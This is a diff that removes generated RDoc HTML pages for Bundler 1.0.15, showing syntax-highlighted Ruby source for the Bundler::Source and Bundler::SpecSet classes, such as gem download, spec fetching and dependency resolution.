-204:             <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">gemfile</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp re">/^bundler\-[\d\.]+?\.gem/</span>
-205: 
-206:             <span class="ruby-keyword kw">begin</span>
-207:               <span class="ruby-identifier">s</span> <span class="ruby-operator">||=</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">rubygems</span>.<span class="ruby-identifier">spec_from_gem</span>(<span class="ruby-identifier">gemfile</span>)
-208:             <span class="ruby-keyword kw">rescue</span> <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Package</span><span class="ruby-operator">::</span><span class="ruby-constant">FormatError</span>
-209:               <span class="ruby-identifier">raise</span> <span class="ruby-constant">GemspecError</span>, <span class="ruby-node">&quot;Could not read gem at #{gemfile}. It may be corrupted.&quot;</span>
-210:             <span class="ruby-keyword kw">end</span>
-211: 
-212:             <span class="ruby-identifier">s</span>.<span class="ruby-identifier">source</span> = <span class="ruby-keyword kw">self</span>
-213:             <span class="ruby-identifier">idx</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">s</span>
-214:           <span class="ruby-keyword kw">end</span>
-215:         <span class="ruby-keyword kw">end</span>
-216: 
-217:         <span class="ruby-identifier">idx</span>
-218:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="download-gem-from-uri-method" class="method-detail ">
-				<a name="method-i-download_gem_from_uri"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">download_gem_from_uri</span><span
-						class="method-args">(spec, uri)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="download-gem-from-uri-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 259</span>
-259:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">download_gem_from_uri</span>(<span class="ruby-identifier">spec</span>, <span class="ruby-identifier">uri</span>)
-260:         <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">fetch_platform</span>
-261: 
-262:         <span class="ruby-identifier">download_path</span> = <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">requires_sudo?</span> <span class="ruby-operator">?</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">tmp</span> <span class="ruby-operator">:</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">rubygems</span>.<span class="ruby-identifier">gem_dir</span>
-263:         <span class="ruby-identifier">gem_path</span> = <span class="ruby-node">&quot;#{Bundler.rubygems.gem_dir}/cache/#{spec.full_name}.gem&quot;</span>
-264: 
-265:         <span class="ruby-constant">FileUtils</span>.<span class="ruby-identifier">mkdir_p</span>(<span class="ruby-node">&quot;#{download_path}/cache&quot;</span>)
-266:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">rubygems</span>.<span class="ruby-identifier">download_gem</span>(<span class="ruby-identifier">spec</span>, <span class="ruby-identifier">uri</span>, <span class="ruby-identifier">download_path</span>)
-267: 
-268:         <span class="ruby-keyword kw">if</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">requires_sudo?</span>
-269:           <span class="ruby-identifier">sudo</span> <span class="ruby-node">&quot;mkdir -p #{Bundler.rubygems.gem_dir}/cache&quot;</span>
-270:           <span class="ruby-identifier">sudo</span> <span class="ruby-node">&quot;mv #{Bundler.tmp}/cache/#{spec.full_name}.gem #{gem_path}&quot;</span>
-271:         <span class="ruby-keyword kw">end</span>
-272: 
-273:         <span class="ruby-identifier">gem_path</span>
-274:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="fetch-all-remote-specs-method" class="method-detail ">
-				<a name="method-i-fetch_all_remote_specs"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">fetch_all_remote_specs</span><span
-						class="method-args">(&blk)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="fetch-all-remote-specs-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 244</span>
-244:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">fetch_all_remote_specs</span>(&amp;<span class="ruby-identifier">blk</span>)
-245:         <span class="ruby-keyword kw">begin</span>
-246:           <span class="ruby-comment cmt"># Fetch all specs, minus prerelease specs</span>
-247:           <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">SpecFetcher</span>.<span class="ruby-identifier">new</span>.<span class="ruby-identifier">list</span>(<span class="ruby-keyword kw">true</span>, <span class="ruby-keyword kw">false</span>).<span class="ruby-identifier">each</span>(&amp;<span class="ruby-identifier">blk</span>)
-248:           <span class="ruby-comment cmt"># Then fetch the prerelease specs</span>
-249:           <span class="ruby-keyword kw">begin</span>
-250:             <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">SpecFetcher</span>.<span class="ruby-identifier">new</span>.<span class="ruby-identifier">list</span>(<span class="ruby-keyword kw">false</span>, <span class="ruby-keyword kw">true</span>).<span class="ruby-identifier">each</span>(&amp;<span class="ruby-identifier">blk</span>)
-251:           <span class="ruby-keyword kw">rescue</span> <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">RemoteFetcher</span><span class="ruby-operator">::</span><span class="ruby-constant">FetchError</span>
-252:             <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">warn</span> <span class="ruby-node">&quot;Could not fetch prerelease specs from #{self}&quot;</span>
-253:           <span class="ruby-keyword kw">end</span>
-254:         <span class="ruby-keyword kw">rescue</span> <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">RemoteFetcher</span><span class="ruby-operator">::</span><span class="ruby-constant">FetchError</span>
-255:           <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">warn</span> <span class="ruby-node">&quot;Could not reach #{self}&quot;</span>
-256:         <span class="ruby-keyword kw">end</span>
-257:       <span class="ruby-keyword kw">end</span></pre>
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-			<div id="fetch-specs-method" class="method-detail ">
-				<a name="method-i-fetch_specs"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">fetch_specs</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
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-						id="fetch-specs-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 160</span>
-160:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">fetch_specs</span>
-161:         <span class="ruby-constant">Index</span>.<span class="ruby-identifier">build</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">idx</span><span class="ruby-operator">|</span>
-162:           <span class="ruby-identifier">idx</span>.<span class="ruby-identifier">use</span> <span class="ruby-identifier">installed_specs</span>
-163:           <span class="ruby-identifier">idx</span>.<span class="ruby-identifier">use</span> <span class="ruby-identifier">cached_specs</span> <span class="ruby-keyword kw">if</span> <span class="ruby-ivar">@allow_cached</span> <span class="ruby-operator">||</span> <span class="ruby-ivar">@allow_remote</span>
-164:           <span class="ruby-identifier">idx</span>.<span class="ruby-identifier">use</span> <span class="ruby-identifier">remote_specs</span> <span class="ruby-keyword kw">if</span> <span class="ruby-ivar">@allow_remote</span>
-165:         <span class="ruby-keyword kw">end</span>
-166:       <span class="ruby-keyword kw">end</span></pre>
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-
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-			<div id="installed-specs-method" class="method-detail ">
-				<a name="method-i-installed_specs"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">installed_specs</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
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-					
-
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-					<div class="method-source-code"
-						id="installed-specs-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 168</span>
-168:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">installed_specs</span>
-169:         <span class="ruby-ivar">@installed_specs</span> <span class="ruby-operator">||=</span> <span class="ruby-keyword kw">begin</span>
-170:           <span class="ruby-identifier">idx</span> = <span class="ruby-constant">Index</span>.<span class="ruby-identifier">new</span>
-171:           <span class="ruby-identifier">have_bundler</span> = <span class="ruby-keyword kw">false</span>
-172:           <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">rubygems</span>.<span class="ruby-identifier">all_specs</span>.<span class="ruby-identifier">reverse</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">spec</span><span class="ruby-operator">|</span>
-173:             <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">name</span> <span class="ruby-operator">==</span> <span class="ruby-value str">'bundler'</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">version</span>.<span class="ruby-identifier">to_s</span> <span class="ruby-operator">!=</span> <span class="ruby-constant">VERSION</span>
-174:             <span class="ruby-identifier">have_bundler</span> = <span class="ruby-keyword kw">true</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">name</span> <span class="ruby-operator">==</span> <span class="ruby-value str">'bundler'</span>
-175:             <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">source</span> = <span class="ruby-keyword kw">self</span>
-176:             <span class="ruby-identifier">idx</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">spec</span>
-177:           <span class="ruby-keyword kw">end</span>
-178: 
-179:           <span class="ruby-comment cmt"># Always have bundler locally</span>
-180:           <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">have_bundler</span>
-181:            <span class="ruby-comment cmt"># We're running bundler directly from the source</span>
-182:            <span class="ruby-comment cmt"># so, let's create a fake gemspec for it (it's a path)</span>
-183:            <span class="ruby-comment cmt"># gemspec</span>
-184:            <span class="ruby-identifier">bundler</span> = <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Specification</span>.<span class="ruby-identifier">new</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span>
-185:              <span class="ruby-identifier">s</span>.<span class="ruby-identifier">name</span>     = <span class="ruby-value str">'bundler'</span>
-186:              <span class="ruby-identifier">s</span>.<span class="ruby-identifier">version</span>  = <span class="ruby-constant">VERSION</span>
-187:              <span class="ruby-identifier">s</span>.<span class="ruby-identifier">platform</span> = <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Platform</span><span class="ruby-operator">::</span><span class="ruby-constant">RUBY</span>
-188:              <span class="ruby-identifier">s</span>.<span class="ruby-identifier">source</span>   = <span class="ruby-keyword kw">self</span>
-189:              <span class="ruby-identifier">s</span>.<span class="ruby-identifier">authors</span>  = [<span class="ruby-value str">&quot;bundler team&quot;</span>]
-190:              <span class="ruby-identifier">s</span>.<span class="ruby-identifier">loaded_from</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-value str">&quot;..&quot;</span>, <span class="ruby-keyword kw">__FILE__</span>)
-191:            <span class="ruby-keyword kw">end</span>
-192:            <span class="ruby-identifier">idx</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">bundler</span>
-193:           <span class="ruby-keyword kw">end</span>
-194:           <span class="ruby-identifier">idx</span>
-195:         <span class="ruby-keyword kw">end</span>
-196:       <span class="ruby-keyword kw">end</span></pre>
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-				<a name="method-i-normalize_uri"></a>
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-				
-					<span class="method-name">normalize_uri</span><span
-						class="method-args">(uri)</span>
-					<span class="method-click-advice">click to toggle source</span>
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-				<div class="method-description">
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-					<div class="method-source-code"
-						id="normalize-uri-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 152</span>
-152:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">normalize_uri</span>(<span class="ruby-identifier">uri</span>)
-153:         <span class="ruby-identifier">uri</span> = <span class="ruby-identifier">uri</span>.<span class="ruby-identifier">to_s</span>
-154:         <span class="ruby-identifier">uri</span> = <span class="ruby-node">&quot;#{uri}/&quot;</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">uri</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp re">%/$'</span>
-155:         <span class="ruby-identifier">uri</span> = <span class="ruby-constant">URI</span>(<span class="ruby-identifier">uri</span>)
-156:         <span class="ruby-identifier">raise</span> <span class="ruby-constant">ArgumentError</span>, <span class="ruby-value str">&quot;The source must be an absolute URI&quot;</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">uri</span>.<span class="ruby-identifier">absolute?</span>
-157:         <span class="ruby-identifier">uri</span>
-158:       <span class="ruby-keyword kw">end</span></pre>
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-		
-			<div id="remote-specs-method" class="method-detail ">
-				<a name="method-i-remote_specs"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">remote_specs</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="remote-specs-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 220</span>
-220:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">remote_specs</span>
-221:         <span class="ruby-ivar">@remote_specs</span> <span class="ruby-operator">||=</span> <span class="ruby-keyword kw">begin</span>
-222:           <span class="ruby-identifier">idx</span>     = <span class="ruby-constant">Index</span>.<span class="ruby-identifier">new</span>
-223:           <span class="ruby-identifier">old</span>     = <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">rubygems</span>.<span class="ruby-identifier">sources</span>
-224: 
-225:           <span class="ruby-identifier">remotes</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">uri</span><span class="ruby-operator">|</span>
-226:             <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">info</span> <span class="ruby-node">&quot;Fetching source index for #{uri}&quot;</span>
-227:             <span class="ruby-constant">Gem</span>.<span class="ruby-identifier">sources</span> = [<span class="ruby-node">&quot;#{uri}&quot;</span>]
-228:             <span class="ruby-identifier">fetch_all_remote_specs</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">n</span>,<span class="ruby-identifier">v</span><span class="ruby-operator">|</span>
-229:               <span class="ruby-identifier">v</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">name</span>, <span class="ruby-identifier">version</span>, <span class="ruby-identifier">platform</span><span class="ruby-operator">|</span>
-230:                 <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">name</span> <span class="ruby-operator">==</span> <span class="ruby-value str">'bundler'</span>
-231:                 <span class="ruby-identifier">spec</span> = <span class="ruby-constant">RemoteSpecification</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">name</span>, <span class="ruby-identifier">version</span>, <span class="ruby-identifier">platform</span>, <span class="ruby-identifier">uri</span>)
-232:                 <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">source</span> = <span class="ruby-keyword kw">self</span>
-233:                 <span class="ruby-ivar">@spec_fetch_map</span>[<span class="ruby-identifier">spec</span>.<span class="ruby-identifier">full_name</span>] = [<span class="ruby-identifier">spec</span>, <span class="ruby-identifier">uri</span>]
-234:                 <span class="ruby-identifier">idx</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">spec</span>
-235:               <span class="ruby-keyword kw">end</span>
-236:             <span class="ruby-keyword kw">end</span>
-237:           <span class="ruby-keyword kw">end</span>
-238:           <span class="ruby-identifier">idx</span>
-239:         <span class="ruby-keyword kw">ensure</span>
-240:           <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">rubygems</span>.<span class="ruby-identifier">sources</span> = <span class="ruby-identifier">old</span>
-241:         <span class="ruby-keyword kw">end</span>
-242:       <span class="ruby-keyword kw">end</span></pre>
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-	
-	</div>
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-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/SpecSet.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/SpecSet.html
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-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-	<title>Class: Bundler::SpecSet</title>
-
-	<link rel="stylesheet" href="../rdoc.css" type="text/css" media="screen" />
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-	<script src="../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
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-<body class="class">
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-        <h3 class="section-header">
-          <a href="../index.html">Home</a>
-          <a href="../index.html#classes">Classes</a>
-          <a href="../index.html#methods">Methods</a>
-        </h3>
-			</div>
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-		<div id="file-metadata">
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-				<div class="section-body">
-					<ul>
-					
-						<li><a href="../lib/bundler/spec_set_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/spec_set.rb">lib/bundler/spec_set.rb</a></li>
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-			<!-- Namespace Contents -->
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-				<ul class="link-list">
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-					<li><a href="#method-c-new">::new</a></li>
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-				
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-					<li><span class="include">Enumerable</span></li>
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-				<h3 class="section-header">Files</h3>
-				<ul>
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-					<li class="file"><a href="../lib/bundler/man/bundle.html">bundle</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-benchmark.html">bundle-benchmark</a></li>
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-			<div id="classindex-section" class="section project-section">
-				<h3 class="section-header">Class Index
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-						height="16" width="16" alt="[+]"
-						title="show/hide quicksearch" /></span></h3>
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-				
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-				
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-				
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-				
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-				
-					<li><a href="../Bundler/GemHelpers.html">Bundler::GemHelpers</a></li>
-				
-					<li><a href="../Bundler/GemNotFound.html">Bundler::GemNotFound</a></li>
-				
-					<li><a href="../Bundler/GemfileError.html">Bundler::GemfileError</a></li>
-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
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-	<div id="documentation">
-		<h1 class="class">Bundler::SpecSet</h1>
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-		<div id="description">
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-		</div>
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-		<!-- Constants -->
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-   <span class="ruby-comment cmt"># File lib/bundler/spec_set.rb, line 7</span>
-7:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">specs</span>)
-8:       <span class="ruby-ivar">@specs</span> = <span class="ruby-identifier">specs</span>.<span class="ruby-identifier">sort_by</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">name</span> }
-9:     <span class="ruby-keyword kw">end</span></pre>
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-			<div id="--method" class="method-detail ">
-				<a name="method-i-%5B%5D"></a>
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-				<div class="method-heading">
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-    <span class="ruby-comment cmt"># File lib/bundler/spec_set.rb, line 59</span>
-59:     <span class="ruby-keyword kw">def</span> <span class="ruby-operator">[]</span>(<span class="ruby-identifier">key</span>)
-60:       <span class="ruby-identifier">key</span> = <span class="ruby-identifier">key</span>.<span class="ruby-identifier">name</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">key</span>.<span class="ruby-identifier">respond_to?</span>(<span class="ruby-value">:name</span>)
-61:       <span class="ruby-identifier">lookup</span>[<span class="ruby-identifier">key</span>].<span class="ruby-identifier">reverse</span>
-62:     <span class="ruby-keyword kw">end</span></pre>
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-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/spec_set.rb, line 64</span>
-64:     <span class="ruby-keyword kw">def</span> <span class="ruby-operator">[]=</span>(<span class="ruby-identifier">key</span>, <span class="ruby-identifier">value</span>)
-65:       <span class="ruby-ivar">@specs</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">value</span>
-66:       <span class="ruby-ivar">@lookup</span> = <span class="ruby-keyword kw">nil</span>
-67:       <span class="ruby-ivar">@sorted</span> = <span class="ruby-keyword kw">nil</span>
-68:       <span class="ruby-identifier">value</span>
-69:     <span class="ruby-keyword kw">end</span></pre>
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-    <span class="ruby-comment cmt"># File lib/bundler/spec_set.rb, line 11</span>
-11:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">each</span>
-12:       <span class="ruby-identifier">sorted</span>.<span class="ruby-identifier">each</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-keyword kw">yield</span> <span class="ruby-identifier">s</span> }
-13:     <span class="ruby-keyword kw">end</span></pre>
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-					<span class="method-name">for</span><span
-						class="method-args">(dependencies, skip = [], check = false, match_current_platform = false)</span>
-					<span class="method-click-advice">click to toggle source</span>
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-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/spec_set.rb, line 19</span>
-19:     <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">for</span>(<span class="ruby-identifier">dependencies</span>, <span class="ruby-identifier">skip</span> = [], <span class="ruby-identifier">check</span> = <span class="ruby-keyword kw">false</span>, <span class="ruby-identifier">match_current_platform</span> = <span class="ruby-keyword kw">false</span>)
-20:       <span class="ruby-identifier">handled</span>, <span class="ruby-identifier">deps</span>, <span class="ruby-identifier">specs</span> = {}, <span class="ruby-identifier">dependencies</span>.<span class="ruby-identifier">dup</span>, []
-21:       <span class="ruby-identifier">skip</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">'bundler'</span>
-22: 
-23:       <span class="ruby-keyword kw">until</span> <span class="ruby-identifier">deps</span>.<span class="ruby-identifier">empty?</span>
-24:         <span class="ruby-identifier">dep</span> = <span class="ruby-identifier">deps</span>.<span class="ruby-identifier">shift</span>
-25:         <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">handled</span>[<span class="ruby-identifier">dep</span>] <span class="ruby-operator">||</span> <span class="ruby-identifier">skip</span>.<span class="ruby-identifier">include?</span>(<span class="ruby-identifier">dep</span>.<span class="ruby-identifier">name</span>)
-26: 
-27:         <span class="ruby-identifier">spec</span> = <span class="ruby-identifier">lookup</span>[<span class="ruby-identifier">dep</span>.<span class="ruby-identifier">name</span>].<span class="ruby-identifier">find</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span>
-28:           <span class="ruby-identifier">match_current_platform</span> <span class="ruby-operator">?</span>
-29:             <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Platform</span>.<span class="ruby-identifier">match</span>(<span class="ruby-identifier">s</span>.<span class="ruby-identifier">platform</span>) <span class="ruby-operator">:</span>
-30:             <span class="ruby-identifier">s</span>.<span class="ruby-identifier">match_platform</span>(<span class="ruby-identifier">dep</span>.<span class="ruby-identifier">__platform</span>)
-31:         <span class="ruby-keyword kw">end</span>
-32: 
-33:         <span class="ruby-identifier">handled</span>[<span class="ruby-identifier">dep</span>] = <span class="ruby-keyword kw">true</span>
-34: 
-35:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">spec</span>
-36:           <span class="ruby-identifier">specs</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">spec</span>
-37: 
-38:           <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">dependencies</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">d</span><span class="ruby-operator">|</span>
-39:             <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">d</span>.<span class="ruby-identifier">type</span> <span class="ruby-operator">==</span> <span class="ruby-value">:development</span>
-40:             <span class="ruby-identifier">d</span> = <span class="ruby-constant">DepProxy</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">d</span>, <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">__platform</span>) <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">match_current_platform</span>
-41:             <span class="ruby-identifier">deps</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">d</span>
-42:           <span class="ruby-keyword kw">end</span>
-43:         <span class="ruby-keyword kw">elsif</span> <span class="ruby-identifier">check</span>
-44:           <span class="ruby-keyword kw">return</span> <span class="ruby-keyword kw">false</span>
-45:         <span class="ruby-keyword kw">end</span>
-46:       <span class="ruby-keyword kw">end</span>
-47: 
-48:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">spec</span> = <span class="ruby-identifier">lookup</span>[<span class="ruby-value str">'bundler'</span>].<span class="ruby-identifier">first</span>
-49:         <span class="ruby-identifier">specs</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">spec</span>
-50:       <span class="ruby-keyword kw">end</span>
-51: 
-52:       <span class="ruby-identifier">check</span> <span class="ruby-operator">?</span> <span class="ruby-keyword kw">true</span> <span class="ruby-operator">:</span> <span class="ruby-constant">SpecSet</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">specs</span>)
-53:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-			<div id="length-method" class="method-detail ">
-				<a name="method-i-length"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">length</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
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-					<div class="method-source-code"
-						id="length-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/spec_set.rb, line 15</span>
-15:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">length</span>
-16:       <span class="ruby-ivar">@specs</span>.<span class="ruby-identifier">length</span>
-17:     <span class="ruby-keyword kw">end</span></pre>
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-			<div id="materialize-method" class="method-detail ">
-				<a name="method-i-materialize"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">materialize</span><span
-						class="method-args">(deps, missing_specs = nil)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
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-					<div class="method-source-code"
-						id="materialize-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/spec_set.rb, line 79</span>
-79:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">materialize</span>(<span class="ruby-identifier">deps</span>, <span class="ruby-identifier">missing_specs</span> = <span class="ruby-keyword kw">nil</span>)
-80:       <span class="ruby-identifier">materialized</span> = <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">for</span>(<span class="ruby-identifier">deps</span>, [], <span class="ruby-keyword kw">false</span>, <span class="ruby-keyword kw">true</span>).<span class="ruby-identifier">to_a</span>
-81:       <span class="ruby-identifier">materialized</span>.<span class="ruby-identifier">map!</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span>
-82:         <span class="ruby-keyword kw">next</span> <span class="ruby-identifier">s</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">LazySpecification</span>)
-83:         <span class="ruby-identifier">spec</span> = <span class="ruby-identifier">s</span>.<span class="ruby-identifier">__materialize__</span>
-84:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">missing_specs</span>
-85:           <span class="ruby-identifier">missing_specs</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">s</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">spec</span>
-86:         <span class="ruby-keyword kw">else</span>
-87:           <span class="ruby-identifier">raise</span> <span class="ruby-constant">GemNotFound</span>, <span class="ruby-node">&quot;Could not find #{s.full_name} in any of the sources&quot;</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">spec</span>
-88:         <span class="ruby-keyword kw">end</span>
-89:         <span class="ruby-identifier">spec</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">spec</span>
-90:       <span class="ruby-keyword kw">end</span>
-91:       <span class="ruby-constant">SpecSet</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">materialized</span>.<span class="ruby-identifier">compact</span>)
-92:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
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-			</div>
-
-		
-			<div id="merge-method" class="method-detail ">
-				<a name="method-i-merge"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">merge</span><span
-						class="method-args">(set)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="merge-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/spec_set.rb, line 94</span>
- 94:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">merge</span>(<span class="ruby-identifier">set</span>)
- 95:       <span class="ruby-identifier">arr</span> = <span class="ruby-identifier">sorted</span>.<span class="ruby-identifier">dup</span>
- 96:       <span class="ruby-identifier">set</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span>
